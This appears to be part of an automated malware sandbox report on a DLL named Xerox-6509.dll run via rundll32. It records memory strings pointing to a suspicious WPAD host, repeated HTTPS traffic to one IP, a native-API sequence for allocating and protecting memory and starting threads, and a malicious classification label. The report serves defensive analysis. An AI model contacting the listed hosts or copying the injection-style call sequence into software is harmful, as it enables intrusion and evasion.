Source: rundll32.exe, 00000004.00000003.1603737524.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2066689185.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1660350216.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1988173285.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1603621904.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datt2
Source: rundll32.exe, 00000004.00000003.2160540155.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datt32
Source: rundll32.exe, 00000004.00000003.1419478481.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1412812438.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475253552.00000000008A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datw
Source: rundll32.exe, 00000005.00000003.1530412994.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2090079990.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2063724054.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1845254370.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1608481511.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027668202.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027575872.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2090131792.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2063675351.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datx
Source: rundll32.exe, 00000004.00000003.1926281286.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1647770477.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1654176314.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3212230393.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1631961738.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1419422889.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2030406198.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2128803389.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1988173285.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2160540155.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2234034886.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2265828652.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2239962419.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1419514786.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475292025.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2218449658.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475197639.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2347507834.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datz2
Source: rundll32.exe, 00000004.00000002.3212230393.000000000085A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/y6

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.8:49826 version: TLS 1.2

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_00A078A5 NtAllocateVirtualMemory,	4_3_00A078A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_00A07945 NtProtectVirtualMemory,	4_3_00A07945
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_650C259A GetNativeSystemInfo,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx,	4_2_650C259A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_650C2590 GetNativeSystemInfo,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx,	4_2_650C2590
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_049978A5 NtAllocateVirtualMemory,	5_3_049978A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_04997945 NtProtectVirtualMemory,	5_3_04997945
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_3_00EB7945 NtProtectVirtualMemory,	6_3_00EB7945
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_3_00EB78A5 NtAllocateVirtualMemory,	6_3_00EB78A5

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_00A05AA5	4_3_00A05AA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_04995AA5	5_3_04995AA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_3_00EB5AA5	6_3_00EB5AA5

Source: Xerox-6509.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED, DLL

Source: classification engine

Classification label: mal52.evad.winDLL@10/0@1/1

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: NULL
